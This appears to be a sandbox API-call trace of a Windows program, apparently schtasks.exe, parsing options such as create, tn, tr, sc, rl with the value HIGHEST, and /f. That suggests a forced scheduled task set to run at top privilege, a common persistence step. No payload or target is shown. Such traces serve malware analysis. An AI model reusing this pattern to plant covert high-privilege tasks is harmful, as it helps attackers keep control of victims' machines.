[0070.407] lstrlenW (lpString="d") returned 1 [0070.407] lstrlenW (lpString="d") returned 1 [0070.407] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.407] lstrlenW (lpString="rl") returned 2 [0070.407] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.407] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|d|") returned 3 [0070.407] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|rl|") returned 4 [0070.407] lstrlenW (lpString="|d|") returned 3 [0070.407] lstrlenW (lpString="|rl|") returned 4 [0070.407] SetLastError (dwErrCode=0x490) [0070.407] lstrlenW (lpString="m") returned 1 [0070.407] lstrlenW (lpString="m") returned 1 [0070.408] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.408] lstrlenW (lpString="rl") returned 2 [0070.408] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.408] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|m|") returned 3 [0070.408] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|rl|") returned 4 [0070.408] lstrlenW (lpString="|m|") returned 3 [0070.408] lstrlenW (lpString="|rl|") returned 4 [0070.408] SetLastError (dwErrCode=0x490) [0070.408] lstrlenW (lpString="i") returned 1 [0070.408] lstrlenW (lpString="i") returned 1 [0070.408] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.408] lstrlenW (lpString="rl") returned 2 [0070.408] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.408] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|i|") returned 3 [0070.408] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|rl|") returned 4 [0070.408] lstrlenW (lpString="|i|") returned 3 [0070.408] lstrlenW (lpString="|rl|") returned 4 [0070.408] SetLastError (dwErrCode=0x490) [0070.408] lstrlenW (lpString="tn") returned 2 [0070.408] lstrlenW (lpString="tn") returned 2 [0070.408] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.408] lstrlenW (lpString="rl") returned 2 [0070.408] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.408] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|tn|") returned 4 [0070.408] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|rl|") returned 4 [0070.408] lstrlenW (lpString="|tn|") returned 4 [0070.408] lstrlenW (lpString="|rl|") returned 4 [0070.408] StrStrIW (lpFirst="|tn|", lpSrch="|rl|") returned 0x0 [0070.408] SetLastError (dwErrCode=0x490) [0070.409] lstrlenW (lpString="tr") returned 2 [0070.409] lstrlenW (lpString="tr") returned 2 [0070.409] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.409] lstrlenW (lpString="rl") returned 2 [0070.409] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.409] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|tr|") returned 4 [0070.409] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|rl|") returned 4 [0070.409] lstrlenW (lpString="|tr|") returned 4 [0070.409] lstrlenW (lpString="|rl|") returned 4 [0070.409] StrStrIW (lpFirst="|tr|", lpSrch="|rl|") returned 0x0 [0070.409] SetLastError (dwErrCode=0x490) [0070.409] lstrlenW (lpString="st") returned 2 [0070.409] lstrlenW (lpString="st") returned 2 [0070.409] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.409] lstrlenW (lpString="rl") returned 2 [0070.409] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.409] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|st|") returned 4 [0070.409] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|rl|") returned 4 [0070.409] lstrlenW (lpString="|st|") returned 4 [0070.409] lstrlenW (lpString="|rl|") returned 4 [0070.409] StrStrIW (lpFirst="|st|", lpSrch="|rl|") returned 0x0 [0070.409] SetLastError (dwErrCode=0x490) [0070.409] lstrlenW (lpString="sd") returned 2 [0070.409] lstrlenW (lpString="sd") returned 2 [0070.409] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.409] lstrlenW (lpString="rl") returned 2 [0070.409] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.409] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|sd|") returned 4 [0070.409] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|rl|") returned 4 [0070.409] lstrlenW (lpString="|sd|") returned 4 [0070.409] lstrlenW (lpString="|rl|") returned 4 [0070.410] StrStrIW (lpFirst="|sd|", lpSrch="|rl|") returned 0x0 [0070.410] SetLastError (dwErrCode=0x490) [0070.410] lstrlenW (lpString="ed") returned 2 [0070.410] lstrlenW (lpString="ed") returned 2 [0070.410] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.410] lstrlenW (lpString="rl") returned 2 [0070.410] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.410] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|ed|") returned 4 [0070.410] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|rl|") returned 4 [0070.410] lstrlenW (lpString="|ed|") returned 4 [0070.410] lstrlenW (lpString="|rl|") returned 4 [0070.410] StrStrIW (lpFirst="|ed|", lpSrch="|rl|") returned 0x0 [0070.410] SetLastError (dwErrCode=0x490) [0070.410] lstrlenW (lpString="it") returned 2 [0070.410] lstrlenW (lpString="it") returned 2 [0070.410] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.410] lstrlenW (lpString="rl") returned 2 [0070.410] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.410] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|it|") returned 4 [0070.410] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|rl|") returned 4 [0070.410] lstrlenW (lpString="|it|") returned 4 [0070.410] lstrlenW (lpString="|rl|") returned 4 [0070.410] StrStrIW (lpFirst="|it|", lpSrch="|rl|") returned 0x0 [0070.410] SetLastError (dwErrCode=0x490) [0070.410] lstrlenW (lpString="et") returned 2 [0070.410] lstrlenW (lpString="et") returned 2 [0070.410] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.415] lstrlenW (lpString="rl") returned 2 [0070.415] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.415] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|et|") returned 4 [0070.415] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|rl|") returned 4 [0070.415] lstrlenW (lpString="|et|") returned 4 [0070.415] lstrlenW (lpString="|rl|") returned 4 [0070.415] StrStrIW (lpFirst="|et|", lpSrch="|rl|") returned 0x0 [0070.415] SetLastError (dwErrCode=0x490) [0070.415] lstrlenW (lpString="k") returned 1 [0070.415] lstrlenW (lpString="k") returned 1 [0070.415] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.415] lstrlenW (lpString="rl") returned 2 [0070.415] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.415] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|k|") returned 3 [0070.415] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|rl|") returned 4 [0070.415] lstrlenW (lpString="|k|") returned 3 [0070.415] lstrlenW (lpString="|rl|") returned 4 [0070.415] SetLastError (dwErrCode=0x490) [0070.415] lstrlenW (lpString="du") returned 2 [0070.415] lstrlenW (lpString="du") returned 2 [0070.416] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.416] lstrlenW (lpString="rl") returned 2 [0070.416] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.416] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|du|") returned 4 [0070.416] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|rl|") returned 4 [0070.416] lstrlenW (lpString="|du|") returned 4 [0070.416] lstrlenW (lpString="|rl|") returned 4 [0070.416] StrStrIW (lpFirst="|du|", lpSrch="|rl|") returned 0x0 [0070.416] SetLastError (dwErrCode=0x490) [0070.416] lstrlenW (lpString="ri") returned 2 [0070.416] lstrlenW (lpString="ri") returned 2 [0070.416] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.416] lstrlenW (lpString="rl") returned 2 [0070.416] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.416] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|ri|") returned 4 [0070.416] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|rl|") returned 4 [0070.416] lstrlenW (lpString="|ri|") returned 4 [0070.416] lstrlenW (lpString="|rl|") returned 4 [0070.416] StrStrIW (lpFirst="|ri|", lpSrch="|rl|") returned 0x0 [0070.416] SetLastError (dwErrCode=0x490) [0070.416] lstrlenW (lpString="z") returned 1 [0070.416] lstrlenW (lpString="z") returned 1 [0070.416] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.416] lstrlenW (lpString="rl") returned 2 [0070.416] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.416] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|z|") returned 3 [0070.416] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|rl|") returned 4 [0070.416] lstrlenW (lpString="|z|") returned 3 [0070.416] lstrlenW (lpString="|rl|") returned 4 [0070.416] SetLastError (dwErrCode=0x490) [0070.417] lstrlenW (lpString="f") returned 1 [0070.417] lstrlenW (lpString="f") returned 1 [0070.417] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.417] lstrlenW (lpString="rl") returned 2 [0070.417] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.417] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|f|") returned 3 [0070.417] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|rl|") returned 4 [0070.417] lstrlenW (lpString="|f|") returned 3 [0070.417] lstrlenW (lpString="|rl|") returned 4 [0070.417] SetLastError (dwErrCode=0x490) [0070.417] lstrlenW (lpString="v1") returned 2 [0070.417] lstrlenW (lpString="v1") returned 2 [0070.417] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.417] lstrlenW (lpString="rl") returned 2 [0070.417] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.417] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|v1|") returned 4 [0070.417] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|rl|") returned 4 [0070.417] lstrlenW (lpString="|v1|") returned 4 [0070.417] lstrlenW (lpString="|rl|") returned 4 [0070.417] StrStrIW (lpFirst="|v1|", lpSrch="|rl|") returned 0x0 [0070.417] SetLastError (dwErrCode=0x490) [0070.417] lstrlenW (lpString="xml") returned 3 [0070.417] lstrlenW (lpString="xml") returned 3 [0070.417] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.417] lstrlenW (lpString="rl") returned 2 [0070.417] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.417] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|xml|") returned 5 [0070.417] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|rl|") returned 4 [0070.417] lstrlenW (lpString="|xml|") returned 5 [0070.417] lstrlenW (lpString="|rl|") returned 4 [0070.417] StrStrIW (lpFirst="|xml|", lpSrch="|rl|") returned 0x0 [0070.418] SetLastError (dwErrCode=0x490) [0070.418] lstrlenW (lpString="ec") returned 2 [0070.418] lstrlenW (lpString="ec") returned 2 [0070.418] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.418] lstrlenW (lpString="rl") returned 2 [0070.418] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.418] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|ec|") returned 4 [0070.418] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|rl|") returned 4 [0070.418] lstrlenW (lpString="|ec|") returned 4 [0070.418] lstrlenW (lpString="|rl|") returned 4 [0070.418] StrStrIW (lpFirst="|ec|", lpSrch="|rl|") returned 0x0 [0070.418] SetLastError (dwErrCode=0x490) [0070.418] lstrlenW (lpString="rl") returned 2 [0070.418] lstrlenW (lpString="rl") returned 2 [0070.418] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.418] lstrlenW (lpString="rl") returned 2 [0070.418] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.418] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|rl|") returned 4 [0070.418] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|rl|") returned 4 [0070.418] lstrlenW (lpString="|rl|") returned 4 [0070.418] lstrlenW (lpString="|rl|") returned 4 [0070.418] StrStrIW (lpFirst="|rl|", lpSrch="|rl|") returned="|rl|" [0070.418] SetLastError (dwErrCode=0x0) [0070.418] SetLastError (dwErrCode=0x0) [0070.418] lstrlenW (lpString="HIGHEST") returned 7 [0070.418] lstrlenW (lpString="-/") returned 2 [0070.418] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0070.419] SetLastError (dwErrCode=0x490) [0070.419] SetLastError (dwErrCode=0x490) [0070.419] SetLastError (dwErrCode=0x0) [0070.419] lstrlenW (lpString="HIGHEST") returned 7 [0070.419] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0070.419] SetLastError (dwErrCode=0x490) [0070.419] SetLastError (dwErrCode=0x0) [0070.419] _memicmp (_Buf1=0x32d660, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.419] lstrlenW (lpString="HIGHEST") returned 7 [0070.419] lstrlenW (lpString="HIGHEST") returned 7 [0070.419] lstrlenW (lpString=" \x09") returned 2 [0070.419] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0070.419] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0070.419] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0070.419] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0070.419] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0070.419] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0070.419] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0070.419] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0070.419] GetLastError () returned 0x0 [0070.419] lstrlenW (lpString="HIGHEST") returned 7 [0070.419] lstrlenW (lpString="HIGHEST") returned 7 [0070.419] SetLastError (dwErrCode=0x0) [0070.419] SetLastError (dwErrCode=0x0) [0070.419] lstrlenW (lpString="/f") returned 2 [0070.419] lstrlenW (lpString="-/") returned 2 [0070.419] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0070.419] lstrlenW (lpString="create") returned 6 [0070.419] lstrlenW (lpString="create") returned 6 [0070.419] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.419] lstrlenW (lpString="f") returned 1 [0070.419] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.420] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|create|") returned 8 [0070.420] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|f|") returned 3 [0070.420] lstrlenW (lpString="|create|") returned 8 [0070.420] lstrlenW (lpString="|f|") returned 3 [0070.420] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0070.420] SetLastError (dwErrCode=0x490) [0070.420] lstrlenW (lpString="?") returned 1 [0070.420] lstrlenW (lpString="?") returned 1 [0070.420] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.420] lstrlenW (lpString="f") returned 1 [0070.420] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.420] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|?|") returned 3 [0070.420] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|f|") returned 3 [0070.420] lstrlenW (lpString="|?|") returned 3 [0070.420] lstrlenW (lpString="|f|") returned 3 [0070.420] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0070.420] SetLastError (dwErrCode=0x490) [0070.420] lstrlenW (lpString="s") returned 1 [0070.420] lstrlenW (lpString="s") returned 1 [0070.420] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.420] lstrlenW (lpString="f") returned 1 [0070.420] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.420] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|s|") returned 3 [0070.420] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|f|") returned 3 [0070.420] lstrlenW (lpString="|s|") returned 3 [0070.420] lstrlenW (lpString="|f|") returned 3 [0070.420] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0070.420] SetLastError (dwErrCode=0x490) [0070.421] lstrlenW (lpString="u") returned 1 [0070.421] lstrlenW (lpString="u") returned 1 [0070.421] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.421] lstrlenW (lpString="f") returned 1 [0070.421] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.421] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|u|") returned 3 [0070.421] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|f|") returned 3 [0070.421] lstrlenW (lpString="|u|") returned 3 [0070.421] lstrlenW (lpString="|f|") returned 3 [0070.421] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0070.421] SetLastError (dwErrCode=0x490) [0070.421] lstrlenW (lpString="p") returned 1 [0070.421] lstrlenW (lpString="p") returned 1 [0070.421] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.421] lstrlenW (lpString="f") returned 1 [0070.421] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.421] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|p|") returned 3 [0070.421] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|f|") returned 3 [0070.421] lstrlenW (lpString="|p|") returned 3 [0070.421] lstrlenW (lpString="|f|") returned 3 [0070.421] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0070.421] SetLastError (dwErrCode=0x490) [0070.421] lstrlenW (lpString="ru") returned 2 [0070.421] lstrlenW (lpString="ru") returned 2 [0070.421] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.421] lstrlenW (lpString="f") returned 1 [0070.421] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.421] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|ru|") returned 4 [0070.421] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|f|") returned 3 [0070.422] lstrlenW (lpString="|ru|") returned 4 [0070.422] lstrlenW (lpString="|f|") returned 3 [0070.422] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0070.422] SetLastError (dwErrCode=0x490) [0070.422] lstrlenW (lpString="rp") returned 2 [0070.422] lstrlenW (lpString="rp") returned 2 [0070.422] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.422] lstrlenW (lpString="f") returned 1 [0070.422] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.422] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|rp|") returned 4 [0070.422] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|f|") returned 3 [0070.422] lstrlenW (lpString="|rp|") returned 4 [0070.422] lstrlenW (lpString="|f|") returned 3 [0070.422] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0070.422] SetLastError (dwErrCode=0x490) [0070.422] lstrlenW (lpString="sc") returned 2 [0070.422] lstrlenW (lpString="sc") returned 2 [0070.422] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.422] lstrlenW (lpString="f") returned 1 [0070.422] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.422] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|sc|") returned 4 [0070.422] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|f|") returned 3 [0070.422] lstrlenW (lpString="|sc|") returned 4 [0070.422] lstrlenW (lpString="|f|") returned 3 [0070.423] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0070.423] SetLastError (dwErrCode=0x490) [0070.423] lstrlenW (lpString="mo") returned 2 [0070.423] lstrlenW (lpString="mo") returned 2 [0070.423] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.423] lstrlenW (lpString="f") returned 1 [0070.423] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.423] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|mo|") returned 4 [0070.423] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|f|") returned 3 [0070.423] lstrlenW (lpString="|mo|") returned 4 [0070.423] lstrlenW (lpString="|f|") returned 3 [0070.423] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0070.423] SetLastError (dwErrCode=0x490) [0070.423] lstrlenW (lpString="d") returned 1 [0070.423] lstrlenW (lpString="d") returned 1 [0070.423] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.423] lstrlenW (lpString="f") returned 1 [0070.423] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.423] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|d|") returned 3 [0070.423] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|f|") returned 3 [0070.423] lstrlenW (lpString="|d|") returned 3 [0070.423] lstrlenW (lpString="|f|") returned 3 [0070.423] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0070.423] SetLastError (dwErrCode=0x490) [0070.423] lstrlenW (lpString="m") returned 1 [0070.423] lstrlenW (lpString="m") returned 1 [0070.423] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.423] lstrlenW (lpString="f") returned 1 [0070.423] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.423] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|m|") returned 3 [0070.424] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|f|") returned 3 [0070.424] lstrlenW (lpString="|m|") returned 3 [0070.424] lstrlenW (lpString="|f|") returned 3 [0070.424] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0070.424] SetLastError (dwErrCode=0x490) [0070.424] lstrlenW (lpString="i") returned 1 [0070.424] lstrlenW (lpString="i") returned 1 [0070.424] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.424] lstrlenW (lpString="f") returned 1 [0070.424] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.424] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|i|") returned 3 [0070.424] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|f|") returned 3 [0070.424] lstrlenW (lpString="|i|") returned 3 [0070.424] lstrlenW (lpString="|f|") returned 3 [0070.424] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0070.424] 